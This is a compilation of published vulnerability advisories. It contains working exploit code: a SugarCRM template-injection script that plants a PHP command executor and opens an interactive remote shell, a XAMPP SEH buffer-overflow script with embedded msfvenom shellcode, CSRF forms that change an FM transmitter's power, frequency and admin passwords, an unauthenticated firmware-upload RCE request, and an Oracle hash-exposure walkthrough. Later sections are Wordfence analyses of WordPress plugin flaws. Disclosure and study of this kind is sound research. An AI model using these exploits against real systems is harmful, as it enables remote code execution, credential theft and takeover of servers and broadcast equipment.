<pre><code>----------------------------------------------------------------------------<br />SugarCRM <= 13.0.1 (GetControl) Server-Side Template Injection <br />Vulnerability<br />----------------------------------------------------------------------------<br /><br /><br />[-] Software Link:<br /><br />https://www.sugarcrm.com<br /><br /><br />[-] Affected Versions:<br /><br />Version 13.0.1 and prior versions.<br />Version 12.0.3 and prior versions.<br /><br /><br />[-] Vulnerability Description:<br /><br />There is a sort of Server-Side Template Injection (SSTI) vulnerability <br />affecting<br />the "GetControl" action from the "Import" module. User input passed <br />through the<br />"field_name" parameter is not properly sanitized before being used to <br />construct<br />the path of the template to include. As such, this can be abused to <br />include and<br />execute arbitrary PHP code through Path Traversal attacks.<br /><br /><br />[-] Proof of Concept:<br /><br />https://karmainsecurity.com/pocs/KIS-2023-10.php<br /><br />(Packet Storm note: POC included at bottom)<br /><br /><br />[-] Solution:<br /><br />Upgrade to version 13.0.2, 12.0.4, or later.<br /><br /><br />[-] Disclosure Timeline:<br /><br />[23/04/2023] - Vendor notified<br />[21/09/2023] - Fixed versions released<br />[06/10/2023] - CVE identifier requested<br />[26/10/2023] - Publication of this advisory<br /><br /><br />[-] CVE Reference:<br /><br />The Common Vulnerabilities and Exposures project (cve.mitre.org)<br />has not assigned a CVE identifier for this vulnerability.<br /><br /><br />[-] Credits:<br /><br />Vulnerability discovered by Egidio Romano.<br /><br /><br />[-] Original Advisory:<br /><br />https://karmainsecurity.com/KIS-2023-10<br /><br /><br />[-] Other References:<br /><br />https://support.sugarcrm.com/resources/security/sugarcrm-sa-2023-010/<br /><br /><br /><br />--- KIS-2023-10.php poc ---<br /><br /><?php<br /><br />set_time_limit(0);<br />error_reporting(E_ERROR);<br /><br />if (!extension_loaded("curl")) die("[+] cURL extension required!\n");<br /><br />if ($argc != 4) die("Usage: php $argv[0] <URL> <username> <password>\n");<br /><br />list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];<br /><br />print "[+] Logging in with username '{$user}' and password '{$pass}'\n";<br /><br />$ch = curl_init();<br /><br />$params = ["username" => $user, "password" => $pass, "grant_type" => "password", "client_id" => "sugar"];<br /><br />curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/oauth2/token");<br />curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params));<br />curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);<br />curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br />curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);<br /><br />if (($token = (json_decode(curl_exec($ch)))->access_token) == null) die("[+] Login failed!\n");<br /><br />print "[+] Creating new Notes bean\n";<br /><br />$note_id = time().".tpl";<br /><br />curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/Notes");<br />curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json", "OAuth-Token: {$token}"]);<br />curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(["id" => $note_id]));<br /><br />if (!preg_match('/"id":"'.$note_id.'"/', curl_exec($ch))) die("[+] Bean creation failed!\n");<br /><br />require_once("./lib/nusoap.php");<br />$client = new nusoap_client("{$url}soap.php", false);<br /><br />if (($err = $client->getError()))<br />{<br /> echo "\nConstructor error: $err";<br /> echo "\nDebug: " . $client->getDebug() . "\n";<br /> die();<br />}<br /><br />print "[+] Sending SOAP login request\n";<br /><br />$params = ["user_auth" => ["user_name" => $user, "password" => $pass]];<br />$session = $client->call('login', $params);<br /><br />if ($session['id'] == -1) die("[+] SOAP login failed!\n");<br /><br />print "[+] Uploading template through 'set_note_attachment'\n";<br /><br />$params = ["session" => $session['id'], "note" => ["id" => $note_id, "file" => base64_encode("{php}passthru(\$_SERVER['HTTP_CMD']);{/php}")]];<br /><br />$result = $client->call("set_note_attachment", $params);<br /><br />print "[+] Getting PHPSESSID through BWC login\n";<br /><br />curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/oauth2/bwc/login");<br />curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([]));<br />curl_setopt($ch, CURLOPT_HEADER, true);<br /><br />if (!preg_match("/PHPSESSID=([^;]+);/", curl_exec($ch), $sid)) die("[-] Session ID not found!\n");<br /><br />print "[+] Launching shell\n";<br /><br />$note_id = substr($note_id, 0, -4);<br /><br />curl_setopt($ch, CURLOPT_URL, "{$url}index.php?module=Import&action=GetControl&import_module=Bugs&field_name=/test");<br />curl_setopt($ch, CURLOPT_HTTPHEADER, ["Cookie: PHPSESSID={$sid[1]}"]);<br />curl_setopt($ch, CURLOPT_POST, false);<br />curl_setopt($ch, CURLOPT_HEADER, false);<br /><br />curl_exec($ch);<br /><br />curl_setopt($ch, CURLOPT_URL, "{$url}index.php?module=Import&action=GetControl&import_module=Bugs&field_name=/../../../../upload/{$note_id}");<br /><br />while(1)<br />{<br /> print "\nsugar-shell# ";<br /> if (($cmd = trim(fgets(STDIN))) == "exit") break;<br /> curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".$cmd, "Cookie: PHPSESSID={$sid[1]}"]);<br /> ($r = curl_exec($ch)) ? print $r : die("\n[+] Exploit failed!\n");<br />}<br /><br /></code></pre>
<pre><code># Exploit Title: XAMPP v3.3.0 — '.ini' Buffer Overflow (Unicode + SEH)<br /># Date: 2023-10-26<br /># Author: Talson (@Ripp3rdoc)<br /># Software Link: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.0.28/xampp-windows-x64-8.0.28-0-VS16-installer.exe<br /># Version: 3.3.0<br /># Tested on: Windows 11<br /># CVE-2023-46517<br /><br />##########################################################<br /># _________ _______ _ _______ _______ _ #<br /># \__ __/( ___ )( \ ( ____ \( ___ )( ( /| #<br /># ) ( | ( ) || ( | ( \/| ( ) || \ ( | #<br /># | | | (___) || | | (_____ | | | || \ | | #<br /># | | | ___ || | (_____ )| | | || (\ \) | #<br /># | | | ( ) || | ) || | | || | \ | #<br /># | | | ) ( || (____/\/\____) || (___) || ) \ | #<br /># )_( |/ \|(_______/\_______)(_______)|/ )_) #<br /># #<br />##########################################################<br /><br /># Proof of Concept:<br /><br /># 1.- Run the python script "poc.py", it will create a new file "xampp-control.ini"<br /># 2.- Open the application (xampp-control.exe)<br /># 3.- Click on the "admin" button in front of Apache service.<br /># 4.- Profit<br /><br /># Proof-of-Concept code on GitHub: https://github.com/ripp3rdoc/XAMPPv3.3.0-BOF/<br /><br /># Greetingz to EMU TEAM (¬‿¬)⩙<br /><br />from pwn import *<br />import shutil<br />import os.path<br /><br />buffer = "\x41" * 268 # 268 bytes to fill the buffer<br />nseh = "\x59\x71" # next SEH address — 0x00590071 (a harmless padding)<br />seh = "\x15\x43" # SEH handler — 0x00430015: pop ecx ; pop ebp ; ret ;<br />padd = "\x71" * 0x55 # padding<br /><br />eax_align = "\x47" # venetian pad/align<br />eax_align += "\x51" # push ecx<br />eax_align += "\x71" # venetian pad/align<br />eax_align += "\x58" # pop eax -> eax = 0019e1a0<br />eax_align += "\x71" # venetian pad/align <br />eax_align += "\x05\x24\x11" # add eax,0x11002300<br />eax_align += "\x71" # venetian pad/align<br />eax_align += "\x2d\x11\x11" # sub eax,0x11001100 -> eax = 0019F3DC<br />eax_align += "\x71" # venetian pad/align<br />eax_align += "\x50" # push eax <br />eax_align += "\x71" # pad to align the following ret<br />eax_align += "\xc3"; # ret into eax?<br /><br /># msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_mixed -f raw EXITFUNC=thread BufferRegister=EAX -o shellcode.bin<br /># Payload size: 512 bytes<br />shellcode = (<br /> "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1"<br /> "AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBkLzHrbM0ipm0c0bi7u01Ep1TBkb0nPdKR2zlrknrKdDK42Kx"<br /> "Jo6WpJnFLqiofLMl1QallBLlO0gQxOzmjagW7rZRObpWBkNrZpdKMzmlBkNlzq1hZC0HKQwab1dKQIKp9qiCrk"<br /> "myKhGslzoYtKMdTKkQJ6ma9odlgQ8OJmM1vg08iPD5yfjcSMjXOKQmnDRUhdaH4KR8mTIq7c2FDKjlpKrkaHML"<br /> "JaZ3dKItrkYqhPU9MtO4KtOk1KC1QI1JNqKO9P1OOoqJtKn2HkRmOmaZjatMbe7BYpm0kPR0PhmadKRODGioj57"<br /> "KgpmMnJZjoxDfceemCmYo9EmlivcL9zE0ikWpQe9ugKoWKcprpo2Jip23KOHUQSaQ0l33Lns5PxrEKPAA"<br /> )<br /><br />shellcode = buffer + nseh + seh + eax_align + padd + shellcode<br /><br /><br />check_file = os.path.isfile("c:\\xampp\\xampp-control.ini")<br /><br />if check_file:<br /> <br /> print("[!] Backup file found. Generating the POC file...")<br /> pass<br />else: <br /> # create backup<br /> try:<br /> shutil.copyfile("c:\\xampp\\xampp-control.ini", "c:\\xampp\\xampp-control.ini.bak")<br /> print("[+] Creating backup for xampp-control.ini...")<br /> print("[+] Backup file created!")<br /> except Exception as e:<br /> print("[!] Failed creating a backup for xampp-control.ini: ", e)<br /><br />try:<br /> <br /> # Create the new file<br /> with open("c:\\xampp\\xampp-control.ini", "w", encoding='utf-8') as file:<br /> file.write(f"""[Common]<br /> Edition=<br /> Editor=<br /> Browser={shellcode}<br /><br /> Debug=0<br /> Debuglevel=0<br /> Language=en<br /> TomcatVisible=1<br /> Minimized=0<br /><br /> [LogSettings]<br /> Font=Arial<br /> FontSize=10<br /><br /> [WindowSettings]<br /> Left=-1<br /> Top=-1<br /> Width=682<br /> Height=441<br /><br /> [Autostart]<br /> Apache=0<br /> MySQL=0<br /> FileZilla=0<br /> Mercury=0<br /> Tomcat=0<br /><br /> [Checks]<br /> CheckRuntimes=1<br /> CheckDefaultPorts=1<br /><br /> [ModuleNames]<br /> Apache=Apache<br /> MySQL=MySQL<br /> Mercury=Mercury<br /> Tomcat=Tomcat<br /><br /> [EnableModules]<br /> Apache=1<br /> MySQL=1<br /> FileZilla=1<br /> Mercury=1<br /> Tomcat=1<br /><br /> [EnableServices]<br /> Apache=1<br /> MySQL=1<br /> FileZilla=1<br /> Tomcat=1<br /><br /> [BinaryNames]<br /> Apache=httpd.exe<br /> MySQL=mysqld.exe<br /> FileZilla=filezillaserver.exe<br /> FileZillaAdmin=filezilla server interface.exe<br /> Mercury=mercury.exe<br /> Tomcat=tomcat8.exe<br /><br /> [ServiceNames]<br /> Apache=Apache2.4<br /> MySQL=mysql<br /> FileZilla=FileZillaServer<br /> Tomcat=Tomcat<br /> [ServicePorts]<br /> Apache=80<br /> ApacheSSL=443<br /> MySQL=3306<br /> FileZilla=21<br /> FileZill=14147<br /> Mercury1=25<br /> Mercury2=79<br /> Mercury3=105<br /> Mercury4=106<br /> Mercury5=110<br /> Mercury6=143<br /> Mercury7=2224<br /> TomcatHTTP=8080<br /> TomcatAJP=8009<br /> Tomcat=8005<br /> [UserConfigs]<br /> Apache= <br /> MySQL=<br /> FileZilla=<br /> Mercury=<br /> Tomcat=<br /><br /> [UserLogs]<br /> Apache=<br /> MySQL=<br /> FileZilla=<br /> Mercury=<br /> Tomcat=<br /> """)<br /> print("[+] Created the POC!")<br /><br />except Exception as e:<br /> print("[!] Failed creating the POC xampp-control.ini: ", e)<br /></code></pre>
<pre><code>Title: CVE-2023-22074 – Oracle database password hash exposure in sharding component<br />Product: Database<br />Manufacturer: Oracle<br />Affected Version(s): 19c,21c [19.3-19.20 and 21.3-21.11]<br />Tested Version(s): 19c<br />Risk Level: Low<br />Solution Status: Fixed<br />CVE Reference: CVE-2023-22074<br />Base Score: 2.4 <br />Author of Advisory: Emad Al-Mousa<br /><br /><br />*****************************************<br />Vulnerability Details:<br /><br />Vulnerability in the Oracle Database Sharding component of Oracle Database Server. Attacker compromising an account with create session and select any dictionary can view password hashes stored in a system table that is part of sharding component setup.<br /><br /><br />*****************************************<br />Proof of Concept (PoC):<br /><br />I will create an account called “jim” in pluggable database ORCLPDB1 and grant the account create session and select any dictionary privilege:<br /><br />SQL> alter session set container=ORCLPDB1;<br /><br />Session altered.<br /><br />SQL> create user jim identified by jim123;<br /><br />User created.<br /><br />SQL> grant create session,select any dictionary to jim;<br /><br />Grant succeeded.<br /><br />I will now connect using database account “jim” and the account will be able to view the password hashes in system table DDL_REQUESTS_PWD used by database sharding component:<br /><br />sqlplus "jim/jim123"@ORCLPDB1<br /><br />SQL> show user<br />USER is "JIM"<br />SQL> select * from SYS.DDL_REQUESTS_PWD;<br /><br /> DDL_NUM PWD_BEGIN<br />---------- ----------<br />ENC_PWD<br />--------------------------------------------------------------------------------<br /> 123 445<br />E494684108560FFEF1C17CDE72F36A1A<br /><br /><br /><br /><br />*****************************************<br />References:<br />https://www.oracle.com/security-alerts/cpuoct2023.html<br />https://nvd.nist.gov/vuln/detail/CVE-2023-22074<br />https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22074<br />https://databasesecurityninja.wordpress.com/2023/10/25/cve-2023-22074-oracle-database-password-hash-exposure-in-sharding-component/<br />https://github.com/emad-almousa/CVE-2023-22074<br /><br /><br /></code></pre>
<pre><code><!--<br /><br />TEM Opera Plus FM Family Transmitter 35.45 XSRF<br /><br /><br />Vendor: Telecomunicazioni Elettro Milano (TEM) S.r.l.<br />Product web page: https://www.tem-italy.it<br />Affected version: Software version: 35.45<br /> Webserver version: 1.7<br /><br />Summary: This new line of Opera plus FM Transmitters combines very<br />high efficiency, high reliability and low energy consumption in compact<br />solutions. They have innovative functions and features that can eliminate<br />the costs required by additional equipment: automatic exchange of audio<br />sources, built-in stereo encoder, integrated RDS encoder, parallel I/O<br />card, connectivity through GSM telemetry and/or TCP IP / SNMP / SMTP<br />Webserver.<br /><br />Desc: The application interface allows users to perform certain actions<br />via HTTP requests without performing any validity checks to verify the<br />requests. This can be exploited to perform certain actions with administrative<br />privileges if a logged-in user visits a malicious web site.<br /><br />Tested on: Webserver<br /><br /><br />Vulnerability discovered by Gjoko 'LiquidWorm' Krstic<br /> @zeroscience<br /><br /><br />Advisory ID: ZSL-2023-5800<br />Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5800.php<br /><br /><br />18.08.2023<br /><br />--><br /><br /><br />CSRF Change Forward Power:<br />-------------------------<br /><br /><html><br /> <body><br /> <form action="http://192.168.1.2:8000/user/postcmd.htm" method="POST" enctype="text/plain"><br /> <input type="hidden" name="Pwr" value="00100" /><br /> <input type="submit" value="Change" /><br /> </form><br /> </body><br /></html><br /><br /><br />CSRF Change Frequency:<br />---------------------<br /><br /><html><br /> <body><br /> <form action="http://192.168.1.2:8000/user/postcmd.htm" method="POST" enctype="text/plain"><br /> <input type="hidden" name="Freq" value="95.5" /><br /> <input type="submit" value="Change" /><br /> </form><br /> </body><br /></html><br /><br /><br />CSRF Change User/Pass/Priv Change Admin/User/Pass:<br />-------------------------------------------------<br /><br /><html><br /> <body><br /> <form action="http://192.168.1.2:8000/protect/accounts.htm" method="POST"><br /> <input type="hidden" name="usr0" value="admin" /><br /> <input type="hidden" name="psw0" value="admin" /><br /> <input type="hidden" name="usr1" value="operator1" /><br /> <input type="hidden" name="psw1" value="operator1" /><br /> <input type="hidden" name="lev1" value="1" /><br /> <input type="hidden" name="usr2" value="operator2" /><br /> <input type="hidden" name="psw2" value="operator2" /><br /> <input type="hidden" name="lev2" value="1" /><br /> <input type="hidden" name="usr3" value="consulter1" /><br /> <input type="hidden" name="psw3" value="consulter1" /><br /> <input type="hidden" name="lev3" value="2" /><br /> <input type="hidden" name="usr4" value="consulter2" /><br /> <input type="hidden" name="psw4" value="consulter2" /><br /> <input type="hidden" name="lev4" value="2" /><br /> <input type="hidden" name="usr5" value="consulter3" /><br /> <input type="hidden" name="psw5" value="consulter3" /><br /> <input type="hidden" name="lev5" value="2" /><br /> <input type="submit" value="Change" /><br /> </form><br /> </body><br /></html><br /></code></pre>
<pre><code><br />TEM Opera Plus FM Family Transmitter 35.45 Remote Code Execution<br /><br /><br />Vendor: Telecomunicazioni Elettro Milano (TEM) S.r.l.<br />Product web page: https://www.tem-italy.it<br />Affected version: Software version: 35.45<br /> Webserver version: 1.7<br /><br />Summary: This new line of Opera plus FM Transmitters combines very<br />high efficiency, high reliability and low energy consumption in compact<br />solutions. They have innovative functions and features that can eliminate<br />the costs required by additional equipment: automatic exchange of audio<br />sources, built-in stereo encoder, integrated RDS encoder, parallel I/O<br />card, connectivity through GSM telemetry and/or TCP IP / SNMP / SMTP<br />Webserver.<br /><br />Desc: The device allows access to an unprotected endpoint that allows<br />MPFS File System binary image upload without authentication. The MPFS2<br />file system module provides a light-weight read-only file system that<br />can be stored in external EEPROM, external serial Flash, or internal<br />Flash program memory. This file system serves as the basis for the<br />HTTP2 web server module, but is also used by the SNMP module and is<br />available to other applications that require basic read-only storage<br />capabilities. This can be exploited to overwrite the flash program<br />memory that holds the web server's main interfaces and execute arbitrary<br />code.<br /><br />Tested on: Webserver<br /><br /><br />Vulnerability discovered by Gjoko 'LiquidWorm' Krstic<br /> @zeroscience<br /><br /><br />Advisory ID: ZSL-2023-5799<br />Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5799.php<br /><br /><br />18.08.2023<br /><br />--<br /><br /><br />POST /mpfsupload HTTP/1.1<br />Host: 192.168.1.2:8000<br />Content-Length: 251<br />Cache-Control: max-age=0<br />Content-Type: multipart/form-data; boundary=----joxypoxy2<br />User-Agent: MPFS2_PoC/2.0c<br />Accept: */*<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-US,en;q=0.9<br />Connection: close<br /><br />------joxypoxy2<br />Content-Disposition: form-data; name="i"; filename="MPFSimg2.bin"<br />Content-Type: application/octet-stream<br /><br />MPFS...<CGI BINARY PHONE HOME><br />-----joxypoxy2--<br /><br /><br />HTTP/1.1 200 OK<br />Connection: close<br />Content-Type: text/html<br /><br /><html><body style="margin:100px"><b>MPFS Update Successful</b><p><a href="/">Site main page</a></body></html><br /></code></pre>
<pre><code>Vulnerability Details and Technical Analysis<br /><br />The AI ChatBot plugin provides website owners with a plug and play chat solution that can be expanded upon with customizable FAQs and custom text responses. It provides website users with an interface that allows them to look up order information, leave contact information for later callbacks and can be integrated with OpenAI’s ChatGPT or Google’s DialogFlow.<br /><br />A lot of the interactions with the chatbot happen via AJAX actions. Many of these actions were made available to unauthenticated users in order to allow them to interact with the chatbot. Other actions required at least subscriber-level access.<br /><br />Unauthenticated SQL Injection – CVE-2023-5204<br /><br />Description: Unauthenticated SQL Injection via qc_wpbo_search_response <br /><br />Affected Plugin:AI ChatBot<br /><br />Plugin slug:chatbot<br /><br />Vendor: QuantumCloud<br /><br />Affected versions: <= 4.8.9<br /><br />CVE ID: CVE-2023-5204<br /><br />CVSS score: 9.8 (Critical)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H<br /><br />Researcher: Marco Wotschka <br /><br />Fully Patched Version: 4.9.1<br /><br />One of the many vulnerabilities we discovered was an unauthenticated SQL Injection. The following two AJAX actions are used for searches during interactions with the chatbot:<br /><br />add_action( 'wp_ajax_nopriv_wpbo_search_response', 'qc_wpbo_search_response' );<br /><br />add_action( 'wp_ajax_wpbo_search_response', 'qc_wpbo_search_response' );<br /><br />The wp_ajax_nopriv_wpbo_search_response AJAX action can be used by users who are not authenticated to WordPress due to the hook utilizing ‘nopriv’. On the other hand, the standard wp_ajax_wpbo_search_response AJAX action can only be used by authenticated users due to the inherent functionality of AJAX actions.<br /><br />qc_wpbo_search_response <br /><br />function qc_wpbo_search_response (shortened for brevity)<br /><br />The qc_wpbo_search_response function hooked by the aforementioned AJAX actions is used to search within the database for responses containing certain keywords. If the $_POST[‘strid’] parameter is set, a record is retrieved from the wpbot_response table by ID. The $strid variable supplied by the POST parameter can be leveraged for SQL Injection, despite being sanitized using the sanitize_text_field function.<br /><br />According to the WordPress Developer Resources, the sanitize_text_field function checks for invalid UTF-8; converts single < characters to entities; strips all tags; removes line breaks, tabs, and extra whitespace; strips percent-encoded characters. This does not provide sufficient protection against SQL Injection attempts, and is only intended for Cross-Site Scripting protection. Furthermore, the get_results function used in the above function call does not perform any preparation, nor is there any escaping of the user supplied input passed to the SQL Query. We always recommend the use of the prepare function on SQL queries as it provides adequate escaping on the user-supplied values, which prevents SQL injection from being successful. In addition, ensuring that the $strid is an integer would help prevent a SQL Injection attack from being successful.<br /><br />The lack of a UNION operation in the above SQL query makes exploiting this vulnerability more difficult, but a time-based blind injection approach using the SLEEP() function and CASE statements can still be used to extract information from the database by observing the duration of individual queries. While tedious, this technique can be used to extract sensitive information from the database. This includes hashed passwords.<br /><br />Arbitrary File Deletion – CVE-2023-5212<br /><br />Description:Authenticated (Subscriber+) Arbitrary File Deletion via qcld_openai_delete_training_file <br /><br />Affected Plugin: AI ChatBot<br /><br />Plugin slug: chatbot<br /><br />Vendor: QuantumCloud<br /><br />Affected versions: <= 4.8.9<br /><br />CVE ID:CVE-2023-5212<br /><br />CVSS score: 9.6 (Critical)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H<br /><br />Researcher: Marco Wotschka <br /><br />Fully Patched Version: 4.9.1<br /><br />The plugin offers the ability to upload training files to OpenAI. An arbitrary file deletion vulnerability existed in the qcld_openai_delete_training_file function invoked via the following AJAX action:<br /><br />add_action('wp_ajax_qcld_openai_delete_training_file',[$this,'qcld_openai_delete_training_file']);<br /><br />delete_training_file <br /><br />function qcld_openai_delete_training_file<br /><br />This vulnerable function accepts a file path via the $_POST[‘file’] parameter and checks whether the file exists. If it does, the function adjusts permissions on the file in such a way that it can be removed and proceeds to delete it. This function misses a capability check to ensure that the user performing the action has proper privileges, as well as a nonce check to ensure that the action is performed intentionally. and is thus vulnerable to Missing Authorization and Cross-Site Request Forgery.<br /><br />Furthermore, no check is performed ensuring that the file is an OpenAI training file and that it resides in a location or directory where training files are expected to be located. This could allow an authenticated attacker with subscriber-level privileges or higher to remove the wp-config.php file of an affected site, which would invoke the WordPress installation script on the next site visit and could lead to a complete site takeover.<br /><br />The file path passed via the $_POST[‘file’] parameter could also point to a file outside of the affected website, thus enabling the deletion of wp-config.php files of other sites in shared hosting environments. Deleting wp-config.php forces the site into a setup state, at which point an attacker can take over the site by pointing it to a database under their control. Of course, attackers are not limited to deleting PHP files either as long as the web server can change file permissions and delete the file.<br /><br />Version 4.9.1 removed this function as well as the corresponding AJAX action. Version 4.9.2 reintroduced the vulnerable function and action hook, which were both again removed in version 4.9.3.<br /><br />Directory Traversal to Arbitrary File Write – CVE-2023-5241<br /><br />Description: Authenticated (Subscriber+) Directory Traversal to Arbitrary File Write via qcld_openai_upload_pagetraining_file <br /><br />Affected Plugin: AI ChatBot<br /><br />Plugin slug: chatbot<br /><br />Vendor:QuantumCloud<br /><br />Affected versions: <= 4.8.9<br /><br />CVE ID: CVE-2023-5241<br /><br />CVSS score: 9.6 (Critical)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H<br /><br />Researcher: Marco Wotschka <br /><br />Fully Patched Version: 4.9.1<br /><br />We also discovered an arbitrary file write vulnerability which exists in the qcld_openai_upload_pagetraining_file function. The entire function is rather long which is why we won’t display it here in its entirety.<br /><br />upload_training_file <br /><br />function qcld_openai_upload_pagetraining_file (shortened for brevity)<br /><br />The function expects a filename to be passed as a $_POST[‘filename’] parameter, which is sanitized using the sanitize_text_field function. The $file variable is used to determine the location of a file in the wp-content/uploads/qcldopenai_site_training/ directory. If the file exists, the function proceeds to declare a variable called $split_file, creates a file handle $qcld_openai_json_file and opens the file in append mode. This means that the file is not overwritten but anything written to the file is instead appended.<br /><br />It is not immediately clear what the purpose of this part of the function is since it simply appends the contents that are already in the file to the end of the file until the length of the content that is added exceeds $this->wpaicg_max_file_size or the entire file has been duplicated.<br /><br />The corresponding if-statement that determines when to terminate writing to the file looks as follows:<br /><br />if(mb_strlen($qcld_openai_content, '8bit') >$this->wpaicg_max_file_size)<br /><br />In a default installation $this->wpaicg_max_file_size is not defined and therefore NULL. Hence, in such scenarios the function adds the first line of the file specified by the user to the end of the file. Since NULL is interpreted as zero in a comparison statement like this, any positive file size will suffice to break out of this part of the function.<br /><br />Unfortunately, this code is vulnerable to Directory Traversal via the filename parameter. If the filename that is passed is a relative path to wp-config.php, the file handle will ultimately point to the site’s wp-config.php file. An authenticated attacker with subscriber-privileges or higher could utilize this fact to append the first line of its content to the file wp-config.php, which would be <?php.<br /><br />While an attacker does not have any influence on the data that is written, in most cases a <?php could be written to the end of a targeted PHP file, which can lead to catastrophic consequences as the added PHP tag may result in an error such as<br /><br />Parse error: syntax error, unexpected token "<", expecting end of file<br /><br />This prevents the site from loading properly and can be used to append to any PHP file (or other files) including those in shared hosting environments leading to Denial of Service (DoS). One way to prevent Directory Traversal is to use the sanitize_file_name function, which removes special characters including slashes and leading dots from the file name.<br /><br />Version 4.9.1 removed this function as well as the corresponding AJAX action. Version 4.9.2 reintroduced the vulnerable function and action hook, which were both again removed in version 4.9.3.<br /><br />Numerous Other Missing Authorization and Cross-Site Request Forgery Vulnerabilities<br /><br />In addition to the vulnerabilities outlined above, we discovered several AJAX actions without proper capability checks, which made it possible for authenticated attackers with minimal access, such as subscribers, to invoke those actions. Several of the functions were also missing nonce verification, which would make it possible for attackers to forge requests on behalf of a site administrator, or any other authenticated user considering capability checks were also missing.<br /><br />However, these vulnerabilities had minimal impact and led to the exposure of information such as user order details and user names, the download and extraction of a zip used by the plugin (not arbitrary zip files), cache deletion, as well as starting and stopping of search indexing jobs to name a few. The severity of those actions is lower than the ones we detailed above.<br /><br />Timeline<br /><br />September 25-28, 2023 – The Wordfence Threat Intelligence team discovers several vulnerabilities in the AI ChatBot plugin.<br /><br />September 28, 2023 – We initiate contact with the plugin developer.<br /><br />September 29, 2023 – We release a firewall rule to protect Wordfence Premium , Wordfence Care , and Wordfence Response customers and send the full disclosure to the plugin developer. Receipt of the disclosure is acknowledged.<br /><br />October 10, 2023 – A fixed version (4.9.1) of the plugin that patches all reported vulnerabilities is released.<br /><br />October 18, 2023 – Several of the vulnerabilities are reintroduced in version 4.9.2. We inform the vendor about this.<br /><br />October 19, 2023 – Version 4.9.3 patches the vulnerabilities again.<br /><br />October 29, 2023 – The firewall rule becomes available to free Wordfence users<br /><br />Conclusion<br /><br />In this blog post we covered an Unauthenticated SQL Injection vulnerability (affecting versions <= 4.8.9), as well as an Arbitrary File Write vulnerability and an Arbitrary File Deletion vulnerability (affecting versions <= 4.8.9 and 4.9.2). The SQL Injection vulnerability allows unauthenticated attackers to extract sensitive information from the database using a time-based blind injection approach, which could ultimately lead to exposure of admin credentials and site takeover.<br /><br />The Arbitrary File Write vulnerability can be utilized by authenticated attackers to append opening PHP tags (in default configurations) to any file including the wp-config.php file, which can lead to Denial of Service (DoS). The Arbitrary File Deletion vulnerability can be used by authenticated attackers to delete any file on the web server offering the possibility of complete site takeovers.<br /><br />All Wordfence running Wordfence Premium , Wordfence Care , and Wordfence Response , have been protected against these vulnerabilities as of September 29, 2023. Users still using the free version of Wordfence will receive the same protection on October 29, 2023.<br /><br />If you know someone who uses this plugin on their site, we recommend sharing this advisory with them to ensure their site remains secure, as these vulnerabilities pose a significant risk.<br /><br />For security researchers looking to disclose vulnerabilities responsibly and obtain a CVE ID, you can submit your findings to Wordfence Intelligence and potentially earn a spot on our leaderboard .<br /><br /></code></pre>
<pre><code>Vulnerability Summary from Wordfence Intelligence<br /><br />Description: LiteSpeed Cache <= 5.6 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode <br /><br />Affected Plugin: LiteSpeed Cache<br /><br />Plugin Slug: litespeed-cache<br /><br />Affected Versions: <= 5.6<br /><br />CVE ID: CVE-2023-4372<br /><br />CVSS Score: 6.4 (Medium)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N<br /><br />Researcher/s: Lana Codes <br /><br />Fully Patched Version: <= 5.7<br /><br />The LiteSpeed Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘esi’ shortcode in versions up to, and including, 5.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.<br /><br />Technical Analysis<br /><br />The LiteSpeed Cache is a site acceleration plugin with server-level cache and optimization. It provides a shortcode ([esi]) that can be used to cache blocks with Edge Side Includes technology when added to a WordPress page, if ESI was previously enabled in the settings.<br /><br />Unfortunately, insecure implementation of the plugin’s shortcode functionality allows for the injection of arbitrary web scripts into these pages. Examining the vulnerable code reveals that the shortcode method in the ESI class does not adequately sanitize the user-supplied ‘cache’ input, and then fails to escape the ‘control’ output derived from the ‘cache’ parameter when it builds the ESI block. This makes it possible to inject attribute-based Cross-Site Scripting payloads via the ‘cache’ attribute.<br /><br />[You can view these code snippets on the blog] <br /><br />This makes it possible for threat actors to carry out stored XSS attacks. Once a script is injected into a page or post, it will execute each time a user accesses the affected page. While this vulnerability does require that a trusted contributor account is compromised, or a user be able to register as a contributor, successful threat actors could steal sensitive information, manipulate site content, inject administrative users, edit files, or redirect users to malicious websites which are all severe consequences.<br /><br />Shortcode Exploit Possibilities<br /><br />Previous versions of WordPress contained a vulnerability that allowed shortcodes supplied by unauthenticated commenters to be rendered in certain configurations. This would make it possible for unauthenticated attackers to exploit this Cross-Site Scripting vulnerability on vulnerable installations. Fortunately, however, a vast majority of sites have been automatically upgraded to a patched release of WordPress as of this writing, which means most site owners do not need to be concerned about this. We still strongly recommend verifying your site has been updated to one of the patched versions of WordPress core found here. <br /><br />Disclosure Timeline<br /><br 